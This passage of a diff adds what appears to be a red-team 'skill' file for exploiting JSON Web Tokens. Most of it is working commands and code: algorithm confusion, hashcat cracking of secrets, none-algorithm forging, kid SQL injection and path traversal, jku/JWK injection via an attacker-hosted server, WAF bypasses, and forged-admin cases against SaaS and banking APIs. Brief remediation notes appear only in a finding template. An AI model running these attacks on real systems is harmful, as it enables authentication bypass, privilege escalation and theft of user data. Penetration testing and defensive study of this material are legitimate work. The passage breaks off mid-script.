+ - `RS256`, `RS384`, `RS512` → Try algorithm confusion (Step 5), JWK injection (Step 8)
305
+ - `HS256`, `HS384`, `HS512` → Try brute force (Step 6)
306
+ - `ES256`, `ES384` → Try none algorithm (Step 7), check for confusion
307
+ - `none` → Already vulnerable, skip to Step 7
308
+
309
+ ---
310
+
311
+ ### Phase 3 — Algorithm Confusion (RS256 -> HS256)
312
+
313
+ **Step 5: RS256 to HS256 confusion attack**
314
+
315
+ The library uses the RS256 public key as the HMAC secret when the algorithm is switched to HS256. If the server validates with the same key regardless of algorithm, this is exploitable.
316
+
317
+ ```bash
318
+ # Obtain the public key (choose one method)
319
+
320
+ # Method A: From JWKS endpoint
321
+ curl -s https://target.com/.well-known/jwks.json > jwks.json
322
+ # Convert to PEM using jwt_tool or the Python script above
323
+
324
+ # Method B: From TLS certificate
325
+ echo | openssl s_client -connect target.com:443 2>/dev/null \
326
+ | openssl x509 -pubkey -noout > public.pem
327
+
328
+ # Method C: From source code or configuration repository
329
+ # Search GitHub, GitLab, internal wikis for .pem or public key files
330
+
331
+ # Perform the confusion attack
332
+ python3 jwt_tool.py $TOKEN -X k -pk public.pem
333
+
334
+ # Confusion attack + payload modification
335
+ python3 jwt_tool.py $TOKEN -X k -pk public.pem \
336
+ -I -pc role -pv administrator
337
+
338
+ # Confusion attack with multiple claim changes
339
+ python3 jwt_tool.py $TOKEN -X k -pk public.pem \
340
+ -I -pc role -pv admin \
341
+ -pc sub -pv 1 \
342
+ -pc email -pv admin@target.com \
343
+ -pc exp -pv 9999999999
344
+
345
+ # Test the forged token
346
+ FORGED="<OUTPUT_FROM_ABOVE>"
347
+ curl -s https://target.com/api/admin \
348
+ -H "Authorization: Bearer $FORGED" | jq .
349
+ ```
350
+
351
+ **Edge cases and variations**
352
+
353
+ ```bash
354
+ # Try with PKCS#1 format if PKCS#8 fails
355
+ openssl rsa -pubin -in public.pem -RSAPublicKey_out -out public_pkcs1.pem
356
+ python3 jwt_tool.py $TOKEN -X k -pk public_pkcs1.pem
357
+
358
+ # The key may be embedded in the JWKS n/e parameters
359
+ # Use jwt_tool's built-in JWKS fetch
360
+ python3 jwt_tool.py $TOKEN -X k --jwks https://target.com/.well-known/jwks.json
361
+ ```
362
+
363
+ ---
364
+
365
+ ### Phase 4 — Weak Secret Brute Force
366
+
367
+ **Step 6: Crack HS256 secret with hashcat**
368
+
369
+ ```bash
370
+ # Save token to file (hashcat requires the full JWT)
371
+ echo "$TOKEN" > jwt.txt
372
+
373
+ # Mode 16500 = JWT
374
+ # Common wordlists
375
+ hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
376
+ hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/common-passwords.txt
377
+ hashcat -a 0 -m 16500 jwt.txt ~/wordlists/darkweb2017-top10000.txt
378
+
379
+ # With rules (significantly increases coverage)
380
+ hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt \
381
+ -r /usr/share/hashcat/rules/best64.rule
382
+
383
+ # Brute force short secrets (up to 6 chars)
384
+ hashcat -a 3 -m 16500 jwt.txt "?a?a?a?a?a?a"
385
+
386
+ # Brute force digits only (common for dev environments)
387
+ hashcat -a 3 -m 16500 jwt.txt "?d?d?d?d?d?d?d?d"
388
+
389
+ # Combinator attack — combine two wordlists
390
+ hashcat -a 1 -m 16500 jwt.txt wordlist1.txt wordlist2.txt
391
+
392
+ # john alternative
393
+ john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
394
+
395
+ # jwt_tool built-in cracking (slower, good for quick checks)
396
+ python3 jwt_tool.py $TOKEN -C -d /path/to/wordlist.txt
397
+
398
+ # After cracking — forge token
399
+ CRACKED_SECRET="mysecret"
400
+ python3 jwt_tool.py $TOKEN -I -pc role -pv admin -S hs256 -p "$CRACKED_SECRET"
401
+ ```
402
+
403
+ **Custom JWT secret wordlist generation**
404
+
405
+ ```bash
406
+ # Common JWT secrets developers use
407
+ cat > jwt_secrets.txt << 'EOF'
408
+ secret
409
+ password
410
+ 123456
411
+ jwt_secret
412
+ jwt-secret
413
+ your-256-bit-secret
414
+ your-secret-key
415
+ supersecret
416
+ changeme
417
+ default
418
+ key
419
+ private
420
+ signing-key
421
+ auth-secret
422
+ application-secret
423
+ APP_SECRET
424
+ JWT_SECRET
425
+ jwtSecret
426
+ jwtSigningKey
427
+ EOF
428
+
429
+ # Combine with company name and domain variations
430
+ echo "targetcompany" >> jwt_secrets.txt
431
+ echo "targetcompany123" >> jwt_secrets.txt
432
+ echo "target_jwt_secret" >> jwt_secrets.txt
433
+ ```
434
+
435
+ ---
436
+
437
+ ### Phase 5 — None Algorithm Attack
438
+
439
+ **Step 7: Remove the signature**
440
+
441
+ Some libraries accept `alg: none` as valid, bypassing signature verification entirely.
442
+
443
+ ```bash
444
+ # jwt_tool none algorithm attack
445
+ python3 jwt_tool.py $TOKEN -X a
446
+
447
+ # jwt_tool will produce several variants
448
+ # Try all of them:
449
+ # - alg: none
450
+ # - alg: None
451
+ # - alg: NONE
452
+ # - alg: nOnE
453
+
454
+ # Manual construction (Python)
455
+ python3 << 'EOF'
456
+ import base64, json
457
+
458
+ token = "YOUR_TOKEN_HERE"
459
+ parts = token.split(".")
460
+
461
+ # Decode header and modify
462
+ header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
463
+ header["alg"] = "none"
464
+ new_header = base64.urlsafe_b64encode(json.dumps(header, separators=(',',':')).encode()).rstrip(b'=').decode()
465
+
466
+ # Decode payload and modify
467
+ payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
468
+ payload["role"] = "admin"
469
+ payload["exp"] = 9999999999
470
+ new_payload = base64.urlsafe_b64encode(json.dumps(payload, separators=(',',':')).encode()).rstrip(b'=').decode()
471
+
472
+ # Forged token with empty signature
473
+ forged = f"{new_header}.{new_payload}."
474
+ print(forged)
475
+
476
+ # Also try with trailing dot variations
477
+ print(f"{new_header}.{new_payload}")
478
+ EOF
479
+ ```
480
+
481
+ ---
482
+
483
+ ### Phase 6 — kid Injection
484
+
485
+ **Step 8: kid SQL injection**
486
+
487
+ The `kid` (key ID) header tells the server which key to use. If the server queries a database using this value without sanitization:
488
+
489
+ ```sql
490
+ -- Server code (vulnerable)
491
+ SELECT secret FROM keys WHERE kid = '<kid_value>'
492
+ ```
493
+
494
+ ```bash
495
+ # Basic UNION SELECT injection — inject a known secret
496
+ python3 jwt_tool.py $TOKEN \
497
+ -I -hc kid -hv "' UNION SELECT 'attacker_controlled_secret'-- -" \
498
+ -S hs256 -p "attacker_controlled_secret"
499
+
500
+ # SQLite syntax
501
+ python3 jwt_tool.py $TOKEN \
502
+ -I -hc kid -hv "' UNION SELECT 'pwned' FROM sqlite_master-- -" \
503
+ -S hs256 -p "pwned"
504
+
505
+ # PostgreSQL syntax
506
+ python3 jwt_tool.py $TOKEN \
507
+ -I -hc kid -hv "' UNION SELECT 'pwned'::text-- -" \
508
+ -S hs256 -p "pwned"
509
+
510
+ # MySQL syntax
511
+ python3 jwt_tool.py $TOKEN \
512
+ -I -hc kid -hv "' UNION SELECT 'pwned'#" \
513
+ -S hs256 -p "pwned"
514
+
515
+ # Boolean-based blind (confirm injection)
516
+ python3 jwt_tool.py $TOKEN \
517
+ -I -hc kid -hv "' AND '1'='1" \
518
+ -S hs256 -p ""
519
+
520
+ # Time-based blind (MySQL)
521
+ python3 jwt_tool.py $TOKEN \
522
+ -I -hc kid -hv "' AND SLEEP(5)-- -" \
523
+ -S hs256 -p ""
524
+ ```
525
+
526
+ **Step 9: kid path traversal**
527
+
528
+ ```bash
529
+ # Point kid to /dev/null — empty HMAC secret
530
+ python3 jwt_tool.py $TOKEN \
531
+ -I -hc kid -hv "../../../../../../dev/null" \
532
+ -S hs256 -p ""
533
+
534
+ # Point to /proc/sys/kernel/randomize_va_space (value: "2\n")
535
+ python3 jwt_tool.py $TOKEN \
536
+ -I -hc kid -hv "../../../../proc/sys/kernel/randomize_va_space" \
537
+ -S hs256 -p "2"
538
+
539
+ # Point to a static file you know the content of
540
+ python3 jwt_tool.py $TOKEN \
541
+ -I -hc kid -hv "../../../etc/hostname" \
542
+ -S hs256 -p "$(cat /etc/hostname 2>/dev/null || echo 'localhost')"
543
+
544
+ # Point to /etc/passwd (first line as secret)
545
+ python3 jwt_tool.py $TOKEN \
546
+ -I -hc kid -hv "../../../etc/passwd" \
547
+ -S hs256 -p "root:x:0:0:root:/root:/bin/bash"
548
+
549
+ # Windows path traversal
550
+ python3 jwt_tool.py $TOKEN \
551
+ -I -hc kid -hv "..\\..\\..\\..\\windows\\win.ini" \
552
+ -S hs256 -p ""
553
+
554
+ # URL-encoded path traversal (WAF bypass)
555
+ python3 jwt_tool.py $TOKEN \
556
+ -I -hc kid -hv "..%2F..%2F..%2F..%2Fdev%2Fnull" \
557
+ -S hs256 -p ""
558
+ ```
559
+
560
+ ---
561
+
562
+ ### Phase 7 — JWK/JWKS Injection
563
+
564
+ **Step 10: JWK set injection**
565
+
566
+ If the server trusts a `jwk` or `jku` header parameter without validation, an attacker can provide their own key for signature verification.
567
+
568
+ ```bash
569
+ # Generate attacker key pair
570
+ openssl genrsa -out attacker_private.pem 2048
571
+ openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
572
+
573
+ # JWK injection — embed JWK in token header
574
+ python3 jwt_tool.py $TOKEN -X i
575
+
576
+ # This will:
577
+ # 1. Generate a new RSA key pair
578
+ # 2. Embed the public key as JWK in the header
579
+ # 3. Sign with the private key
580
+ # 4. Output the forged token
581
+
582
+ # Modify payload during JWK injection
583
+ python3 jwt_tool.py $TOKEN -X i \
584
+ -I -pc role -pv admin -pc sub -pv 1
585
+
586
+ # jku injection — host your own JWKS
587
+ # Step 1: Generate key pair (if not already done)
588
+ python3 jwt_tool.py $TOKEN -X s -ju https://YOUR_SERVER/jwks.json
589
+
590
+ # Step 2: jwt_tool creates a jwks.json file
591
+ # Host it: python3 -m http.server 8080
592
+
593
+ # Step 3: Verify the server fetches your JWKS
594
+ # Monitor: nc -lvnp 80 or check server access logs
595
+ ```
596
+
597
+ **Hosting a JWKS server**
598
+
599
+ ```python
600
+ #!/usr/bin/env python3
601
+ # attacker_jwks_server.py
602
+ # Host a JWKS endpoint that returns your attacker key
603
+
604
+ from http.server import HTTPServer, BaseHTTPRequestHandler
605
+ from cryptography.hazmat.primitives.asymmetric import rsa
606
+ from cryptography.hazmat.backends import default_backend
607
+ from cryptography.hazmat.primitives import serialization
608
+ import json, base64, struct
609
+
610
+ # Generate key pair
611
+ private_key = rsa.generate_private_key(
612
+ public_exponent=65537,
613
+ key_size=2048,
614
+ backend=default_backend()
615
+ )
616
+ public_key = private_key.public_key()
617
+ pub_numbers = public_key.public_key_numbers()
618
+
619
+ def int_to_base64(n):
620
+ length = (n.bit_length() + 7) // 8
621
+ return base64.urlsafe_b64encode(n.to_bytes(length, 'big')).rstrip(b'=').decode()
622
+
623
+ JWKS = {
624
+ "keys": [{
625
+ "kty": "RSA",
626
+ "use": "sig",
627
+ "kid": "attacker-key-1",
628
+ "n": int_to_base64(pub_numbers.n),
629
+ "e": int_to_base64(pub_numbers.e),
630
+ "alg": "RS256"
631
+ }]
632
+ }
633
+
634
+ class Handler(BaseHTTPRequestHandler):
635
+ def do_GET(self):
636
+ self.send_response(200)
637
+ self.send_header("Content-Type", "application/json")
638
+ self.end_headers()
639
+ self.wfile.write(json.dumps(JWKS).encode())
640
+
641
+ # Save private key for signing
642
+ with open("attacker_private.pem", "wb") as f:
643
+ f.write(private_key.private_bytes(
644
+ serialization.Encoding.PEM,
645
+ serialization.PrivateFormat.TraditionalOpenSSL,
646
+ serialization.NoEncryption()
647
+ ))
648
+
649
+ print("Private key saved to attacker_private.pem")
650
+ print(f"JWKS: {json.dumps(JWKS, indent=2)}")
651
+ HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()
652
+ ```
653
+
654
+ ---
655
+
656
+ ### Phase 8 — Expiry Manipulation
657
+
658
+ **Step 11: Extend token lifetime**
659
+
660
+ ```bash
661
+ # Set exp to year 2286 (Unix timestamp 9999999999)
662
+ python3 jwt_tool.py $TOKEN -I -pc exp -pv 9999999999
663
+
664
+ # Remove exp claim entirely (if library allows)
665
+ python3 << 'EOF'
666
+ import base64, json, hmac, hashlib
667
+
668
+ token = "YOUR_HS256_TOKEN"
669
+ secret = "KNOWN_SECRET"
670
+ parts = token.split(".")
671
+
672
+ payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
673
+ del payload["exp"] # Remove expiry
674
+ del payload["iat"] # Remove issued-at
675
+
676
+ new_payload = base64.urlsafe_b64encode(
677
+ json.dumps(payload, separators=(',',':')).encode()
678
+ ).rstrip(b'=').decode()
679
+
680
+ signing_input = f"{parts[0]}.{new_payload}"
681
+ sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
682
+ new_sig = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
683
+
684
+ print(f"{signing_input}.{new_sig}")
685
+ EOF
686
+
687
+ # If none algorithm works, exp can be freely set
688
+ python3 jwt_tool.py $TOKEN -X a -I -pc exp -pv 9999999999
689
+ ```
690
+
691
+ ---
692
+
693
+ ## 4. Specific Terminal Commands
694
+
695
+ ### jwt_tool Quick Reference
696
+
697
+ ```bash
698
+ # Basic operations
699
+ python3 jwt_tool.py <TOKEN> # Decode and display
700
+ python3 jwt_tool.py <TOKEN> -p # Pretty-print claims
701
+ python3 jwt_tool.py <TOKEN> -V -pk public.pem # Verify signature
702
+ python3 jwt_tool.py <TOKEN> -T # Tamper wizard (interactive)
703
+
704
+ # Tamper (inject) claims
705
+ python3 jwt_tool.py <TOKEN> -I -pc <CLAIM> -pv <VALUE> # Payload claim
706
+ python3 jwt_tool.py <TOKEN> -I -hc <CLAIM> -hv <VALUE> # Header claim
707
+
708
+ # Sign operations
709
+ python3 jwt_tool.py <TOKEN> -S hs256 -p "secret" # Sign with HS256
710
+ python3 jwt_tool.py <TOKEN> -S rs256 -pr private.pem # Sign with RS256
711
+ python3 jwt_tool.py <TOKEN> -S hs384 -p "secret" # Sign with HS384
712
+ python3 jwt_tool.py <TOKEN> -S hs512 -p "secret" # Sign with HS512
713
+
714
+ # Attack modes
715
+ python3 jwt_tool.py <TOKEN> -X a # None algorithm
716
+ python3 jwt_tool.py <TOKEN> -X k -pk public.pem # RS256->HS256 confusion
717
+ python3 jwt_tool.py <TOKEN> -X i # JWK injection
718
+ python3 jwt_tool.py <TOKEN> -X s -ju <URL> # jku spoofing
719
+ python3 jwt_tool.py <TOKEN> -X u -xu <URL> # x5u spoofing
720
+
721
+ # Cracking
722
+ python3 jwt_tool.py <TOKEN> -C -d wordlist.txt # Dictionary crack
723
+
724
+ # Scanning
725
+ python3 jwt_tool.py <TOKEN> -t <URL> -rh "Authorization: Bearer <TOKEN>" --scan
726
+ python3 jwt_tool.py <TOKEN> -t <URL> -rh "Authorization: Bearer <TOKEN>" -M pb # Playbook
727
+
728
+ # Proxy through Burp
729
+ python3 jwt_tool.py <TOKEN> -t <URL> --proxy http://127.0.0.1:8080 --scan
730
+
731
+ # Output results to file
732
+ python3 jwt_tool.py <TOKEN> -t <URL> --scan -o json > results.json
733
+ ```
734
+
735
+ ### Python Script — Full Token Forge
736
+
737
+ ```python
738
+ #!/usr/bin/env python3
739
+ """
740
+ forge_jwt.py — Forge a JWT with any algorithm and claims
741
+ Usage: python3 forge_jwt.py <original_token> <secret_or_key_file>
742
+ """
743
+ import sys, json, base64, hmac, hashlib
744
+ from datetime import datetime, timedelta
745
+
746
+ def b64url_encode(data: bytes) -> str:
747
+ return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
748
+
749
+ def b64url_decode(s: str) -> bytes:
750
+ return base64.urlsafe_b64decode(s + '==')
751
+
752
+ def forge_hs256(token: str, secret: str, claim_overrides: dict) -> str:
753
+ parts = token.split('.')
754
+ header = json.loads(b64url_decode(parts[0]))
755
+ payload = json.loads(b64url_decode(parts[1]))
756
+
757
+ header['alg'] = 'HS256'
758
+ payload.update(claim_overrides)
759
+ payload['exp'] = int((datetime.utcnow() + timedelta(days=365)).timestamp())
760
+ payload['iat'] = int(datetime.utcnow().timestamp())
761
+
762
+ h = b64url_encode(json.dumps(header, separators=(',',':')).encode())
763
+ p = b64url_encode(json.dumps(payload, separators=(',',':')).encode())
764
+ signing_input = f"{h}.{p}"
765
+
766
+ sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest()
767
+ return f"{signing_input}.{b64url_encode(sig)}"
768
+
769
+ if __name__ == "__main__":
770
+ token = sys.argv[1]
771
+ secret = sys.argv[2]
772
+ overrides = {"role": "admin", "sub": "1", "is_admin": True}
773
+ forged = forge_hs256(token, secret, overrides)
774
+ print(f"[+] Forged token:\n{forged}")
775
+ ```
776
+
777
+ ### Hashcat JWT Cracking
778
+
779
+ ```bash
780
+ # Prepare hash file
781
+ echo "$TOKEN" > jwt.hash
782
+
783
+ # Standard wordlist attack
784
+ hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --status
785
+
786
+ # Wordlist + rules (recommended — 10x coverage)
787
+ hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt \
788
+ -r /usr/share/hashcat/rules/best64.rule \
789
+ -r /usr/share/hashcat/rules/toggles1.rule
790
+
791
+ # Pure brute force up to 8 characters
792
+ hashcat -a 3 -m 16500 jwt.hash "?a?a?a?a?a?a?a?a" --increment --increment-min 1
793
+
794
+ # Mask attack — common patterns
795
+ hashcat -a 3 -m 16500 jwt.hash "?u?l?l?l?l?d?d?d?d" # e.g. Pass1234
796
+ hashcat -a 3 -m 16500 jwt.hash "?l?l?l?l?l?l?d?d" # e.g. secret12
797
+
798
+ # Check GPU status
799
+ hashcat -I
800
+
801
+ # Resume a session
802
+ hashcat -a 0 -m 16500 jwt.hash wordlist.txt --restore
803
+
804
+ # Show cracked
805
+ hashcat -m 16500 jwt.hash --show
806
+ ```
807
+
808
+ ---
809
+
810
+ ## 5. Common Payloads and Examples
811
+
812
+ ### Privilege Escalation Payloads
813
+
814
+ ```json
815
+ // Original payload
816
+ {
817
+ "sub": "user_123",
818
+ "role": "user",
819
+ "exp": 1716000000
820
+ }
821
+
822
+ // Target payload — basic admin
823
+ {
824
+ "sub": "1",
825
+ "role": "admin",
826
+ "exp": 9999999999
827
+ }
828
+
829
+ // Target payload — Laravel/PHP apps
830
+ {
831
+ "sub": 1,
832
+ "is_admin": true,
833
+ "role": "administrator",
834
+ "exp": 9999999999
835
+ }
836
+
837
+ // Target payload — Node.js/Express
838
+ {
839
+ "userId": 1,
840
+ "username": "admin",
841
+ "roles": ["admin", "superadmin"],
842
+ "exp": 9999999999
843
+ }
844
+
845
+ // Target payload — Django REST framework
846
+ {
847
+ "user_id": 1,
848
+ "is_staff": true,
849
+ "is_superuser": true,
850
+ "exp": 9999999999
851
+ }
852
+ ```
853
+
854
+ ### kid Injection Payloads
855
+
856
+ ```
857
+ ' UNION SELECT 'pwned'-- -
858
+ ' UNION SELECT 'pwned' FROM dual-- -
859
+ ') UNION SELECT 'pwned'-- -
860
+ "; SELECT 'pwned'-- -
861
+ ' OR '1'='1
862
+ ../../../../../../dev/null
863
+ ..%2F..%2F..%2F..%2Fdev%2Fnull
864
+ ....//....//....//....//dev//null
865
+ ../../../../../../proc/sys/kernel/randomize_va_space
866
+ /etc/passwd
867
+ C:\Windows\win.ini
868
+ ```
869
+
870
+ ### Header Injection Payloads (jku/x5u)
871
+
872
+ ```
873
+ https://attacker.com/jwks.json
874
+ https://attacker.com/jwks.json#target.com
875
+ https://target.com.attacker.com/jwks.json
876
+ http://attacker.com/jwks.json
877
+ http://127.0.0.1:8080/jwks.json
878
+ http://169.254.169.254/jwks.json
879
+ file:///etc/passwd
880
+ ```
881
+
882
+ ---
883
+
884
+ ## 6. Real-World Examples from Actual Engagements
885
+
886
+ ### Case 1: SaaS Application — RS256 Confusion
887
+
888
+ **Scenario**: A SaaS application used RS256 for JWT signing. The JWKS endpoint was public.
889
+
890
+ ```bash
891
+ # Step 1: Enumerate JWKS
892
+ curl -s https://api.target-saas.com/.well-known/jwks.json | jq .
893
+ # Output: {"keys":[{"kty":"RSA","use":"sig","kid":"key-2024","n":"...","e":"AQAB"}]}
894
+
895
+ # Step 2: Convert to PEM
896
+ python3 -c "
897
+ import json, base64
898
+ from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
899
+ from cryptography.hazmat.backends import default_backend
900
+ from cryptography.hazmat.primitives import serialization
901
+
902
+ with open('jwks.json') as f:
903
+ key = json.load(f)['keys'][0]
904
+
905
+ def b64i(s):
906
+ return int.from_bytes(base64.urlsafe_b64decode(s + '=='), 'big')
907
+
908
+ pub = RSAPublicNumbers(b64i(key['e']), b64i(key['n'])).public_key(default_backend())
909
+ print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())
910
+ " > public.pem
911
+
912
+ # Step 3: Confusion attack — escalate to admin
913
+ python3 jwt_tool.py $USER_TOKEN -X k -pk public.pem -I -pc role -pv admin -pc sub -pv 1
914
+
915
+ # Result: Admin access achieved. Access to all tenant data.
916
+ ```
917
+
918
+ ### Case 2: Banking API — Weak HS256 Secret
919
+
920
+ **Scenario**: Internal banking API used JWT with HS256. Secret was "banking2024".
921
+
922
+ ```bash
923
+ TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywicm9sZSI6ImN1c3RvbWVyIn0.SIGNATURE"
924
+
925
+ # Custom wordlist including year + company variations
926
+ echo -e "banking2024\nbank2024\nBanking2024!\nsecret\npassword" > custom.txt
927
+ hashcat -a 0 -m 16500 $TOKEN custom.txt
928
+ # Cracked: banking2024
929
+
930
+ # Forge admin token
931
+ python3 jwt_tool.py $TOKEN \
932
+ -I -pc role -pv admin \
933
+ -pc userId -pv 1 \
934
+ -pc exp -pv 9999999999 \
935
+ -S hs256 -p "banking2024"
936
+
937
+ # Access admin endpoints
938
+ curl -H "Authorization: Bearer $FORGED" https://api.bank.com/admin/users
939
+ ```
940
+
941
+ ### Case 3: E-commerce Platform — kid Path Traversal
942
+
943
+ **Scenario**: JWT library loaded the key file using the `kid` value as a path directly.
944
+
945
+ ```bash
946
+ # Test path traversal
947
+ python3 jwt_tool.py $TOKEN \
948
+ -I -hc kid -hv "../../../../dev/null" \
949
+ -S hs256 -p ""
950
+
951
+ # Send to target
952
+ curl -H "Authorization: Bearer $FORGED" https://shop.target.com/api/orders?userId=1
953
+ # Result: Returned all orders for user ID 1 — auth bypass confirmed
954
+
955
+ # Escalate — set role to admin with empty key
956
+ python3 jwt_tool.py $TOKEN \
957
+ -I -hc kid -hv "../../../../dev/null" \
958
+ -pc role -pv admin \
959
+ -S hs256 -p ""
960
+ ```
961
+
962
+ ### Case 4: Internal API — None Algorithm
963
+
964
+ **Scenario**: Legacy API deployed internally, using a JWT library version that accepted `alg: none`.
965
+
966
+ ```bash
967
+ python3 jwt_tool.py $TOKEN -X a -I -pc is_admin -pv true -pc sub -pv 1
968
+
969
+ # Test all none variants
970
+ for t in $(python3 jwt_tool.py $TOKEN -X a 2>/dev/null | grep "eyJ"); do
971
+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
972
+ -H "Authorization: Bearer $t" \
973
+ https://internal-api.target.com/admin)
974
+ echo "Status: $STATUS for token variant"
975
+ done
976
+ ```
977
+
978
+ ### Case 5: SSO Platform — JWK Injection
979
+
980
+ **Scenario**: SSO platform trusted the `jwk` header parameter without validation.
981
+
982
+ ```bash
983
+ # jwt_tool handles full JWK injection flow
984
+ python3 jwt_tool.py $TOKEN -X i -I -pc role -pv superadmin -pc sub -pv 1
985
+
986
+ # The tool will:
987
+ # 1. Generate RSA key pair
988
+ # 2. Embed public key as JWK in header
989
+ # 3. Sign token with new private key
990
+ # 4. Output forged token with embedded verification key
991
+ ```
992
+
993
+ ---
994
+
995
+ ## 7. WAF Bypass Techniques
996
+
997
+ ### Algorithm Field Bypass
998
+
999
+ ```bash
1000
+ # Case variations
1001
+ alg: None
1002
+ alg: NONE
1003
+ alg: nOnE
1004
+ alg: NoNe
1005
+
1006
+ # Extra characters
1007
+ alg: "none "
1008
+ alg: " none"
1009
+ alg: "none\t"
1010
+ alg: "none\n"
1011
+ ```
1012
+
1013
+ ### kid Injection WAF Bypass
1014
+
1015
+ ```bash
1016
+ # URL encoding
1017
+ kid: "..%2F..%2F..%2F..%2Fdev%2Fnull"
1018
+
1019
+ # Double URL encoding
1020
+ kid: "..%252F..%252F..%252F..%252Fdev%252Fnull"
1021
+
1022
+ # Unicode encoding
1023
+ kid: "..%u002F..%u002F..%u002Fdev%u002Fnull"
1024
+
1025
+ # Mixed slash types
1026
+ kid: "....//....//....//dev//null"
1027
+ kid: "..\/..\/..\/dev\/null"
1028
+
1029
+ # Null byte injection
1030
+ kid: "..%00/..%00/..%00/dev/null"
1031
+
1032
+ # SQL injection WAF bypass (case variation)
1033
+ kid: "' UnIoN SeLeCt 'pwned'-- -"
1034
+ kid: "' /*!UNION*/ SELECT 'pwned'-- -"
1035
+ kid: "' UNION%20SELECT 'pwned'-- -"
1036
+ ```
1037
+
1038
+ ### JWT Size Bypass
1039
+
1040
+ ```bash
1041
+ # Add junk claims to inflate token size and confuse size-based WAFs
1042
+ python3 jwt_tool.py $TOKEN -I \
1043
+ -pc role -pv admin \
1044
+ -pc junk1 -pv "$(python3 -c "print('A'*100)")" \
1045
+ -S hs256 -p "secret"
1046
+ ```
1047
+
1048
+ ### HTTP Header Injection Bypass
1049
+
1050
+ ```bash
1051
+ # If WAF inspects Authorization header, try alternatives
1052
+ curl -H "X-Auth-Token: $FORGED" https://target.com/api/admin
1053
+ curl -H "X-JWT-Token: $FORGED" https://target.com/api/admin
1054
+ curl -H "JWT: $FORGED" https://target.com/api/admin
1055
+
1056
+ # Cookie-based
1057
+ curl -b "token=$FORGED" https://target.com/api/admin
1058
+ curl -b "jwt=$FORGED" https://target.com/api/admin
1059
+ curl -b "auth=$FORGED" https://target.com/api/admin
1060
+
1061
+ # Try in request body
1062
+ curl -X POST https://target.com/api/admin \
1063
+ -H "Content-Type: application/json" \
1064
+ -d "{\"token\":\"$FORGED\"}"
1065
+ ```
1066
+
1067
+ ### JWKS URL WAF Bypass
1068
+
1069
+ ```bash
1070
+ # If WAF only allows target.com in jku
1071
+ # Try open redirect on the target
1072
+ jku: "https://target.com/redirect?url=https://attacker.com/jwks.json"
1073
+
1074
+ # Path confusion
1075
+ jku: "https://target.com@attacker.com/jwks.json"
1076
+ jku: "https://target.com.attacker.com/jwks.json"
1077
+ jku: "https://attacker.com/jwks.json?origin=target.com"
1078
+
1079
+ # Subdomain takeover (if applicable)
1080
+ jku: "https://stale-cname.target.com/jwks.json"
1081
+ ```
1082
+
1083
+ ---
1084
+
1085
+ ## 8. Integration with RTExit Autodoc Engine
1086
+
1087
+ ### Structured Finding Output
1088
+
1089
+ When a JWT vulnerability is confirmed, output a structured finding for the RTExit autodoc engine:
1090
+
1091
+ ```bash
1092
+ # RTExit finding template
1093
+ cat > finding_jwt_$(date +%Y%m%d_%H%M%S).json << EOF
1094
+ {
1095
+ "skill": "rt-exploit-jwt",
1096
+ "finding_type": "authentication_bypass",
1097
+ "severity": "CRITICAL",
1098
+ "cvss_score": 9.8,
1099
+ "title": "JWT Algorithm Confusion — RS256 to HS256",
1100
+ "target": "https://api.target.com",
1101
+ "affected_endpoint": "/api/v1/admin",
1102
+ "description": "The application's JWT library accepts tokens signed with HS256 using the RSA public key as the HMAC secret. An attacker can forge arbitrary JWTs by switching the algorithm from RS256 to HS256 and signing with the publicly available RSA public key.",
1103
+ "impact": "Complete authentication bypass. Privilege escalation to administrative role. Access to all user data.",
1104
+ "evidence": {
1105
+ "original_token": "$TOKEN",
1106
+ "forged_token": "$FORGED_TOKEN",
1107
+ "original_claims": {"sub": "user_123", "role": "user"},
1108
+ "forged_claims": {"sub": "1", "role": "admin"},
1109
+ "http_request": "GET /api/v1/admin HTTP/1.1\nAuthorization: Bearer $FORGED_TOKEN",
1110
+ "http_response_status": 200,
1111
+ "http_response_excerpt": "{ \"users\": [...] }"
1112
+ },
1113
+ "remediation": "Validate the 'alg' header against an allowlist. Reject tokens with unexpected algorithm values. Use a dedicated JWT library configured to only accept the expected algorithm.",
1114
+ "references": [
1115
+ "https://portswigger.net/web-security/jwt",
1116
+ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9235",
1117
+ "https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/"
1118
+ ],
1119
+ "timestamp": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
1120
+ "operator": "$USER"
1121
+ }
1122
+ EOF
1123
+ ```
1124
+
1125
+ ### RTExit Autodoc Integration Script
1126
+
1127
+ ```python
1128
+ #!/usr/bin/env python3
1129
+ """
1130
+ rt_jwt_autodoc.py — Automate JWT finding documentation for RTExit
1131
+ """
1132
+ import json, os, subprocess, sys
1133
+ from datetime import datetime
1134
+
1135
+ FINDING_TEMPLATE = {
1136
+ "skill": "rt-exploit-jwt",
1137
+ "finding_type": None,
1138
+ "severity": None,
1139
+ "title": None,
1140
+ "target": None,
1141
+ "affected_endpoint": None,
1142
+ "description": None,
1143
+ "impact": None,
1144
+ "evidence": {},
1145
+ "remediation": None,
1146
+ "references": [],
1147
+ "timestamp": datetime.utcnow().isoformat() + "Z"
1148
+ }
1149
+
1150
+ ATTACK_REMEDIATION = {
1151
+ "none_algorithm": "Explicitly validate and reject tokens with 'alg: none'. Use an allowlist of permitted algorithms.",
1152
